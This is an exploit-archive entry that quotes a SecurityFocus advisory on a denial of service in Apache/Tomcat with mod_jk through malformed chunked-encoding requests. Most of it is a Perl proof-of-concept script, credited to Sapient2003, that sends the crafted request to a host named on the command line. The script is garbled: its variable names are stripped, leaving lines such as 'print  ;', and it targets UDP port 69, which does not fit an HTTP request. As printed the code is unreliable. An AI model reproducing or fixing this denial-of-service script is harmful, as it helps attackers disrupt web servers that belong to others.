source: http://www.securityfocus.com/bid/6320/info

Apache Webserver and Tomcat are HTTP servers maintained and distributed by the Apache project. Apache Webserver and Tomcat are available for the Unix, Linux, and Microsoft Windows platforms.

It has been reported that a denial of service exists in Apache Webserver and Tomcat when mod_jk is used. Due to design problems in the module, a user submitting malicious requests to the Apache Webserver may cause desynchronization between Apache and Tomcat. This could be done through malicious chunked encoding requests.

#!/usr/bin/perl -w

use IO::Socket;

 = "Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";

unless (@ARGV == 1) {
  print "\n By Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 = "GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";

 = IO::Socket::INET->new(
        PeerAddr => [0],
        PeerPort => 69,
        Proto    => "udp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]\n";
close();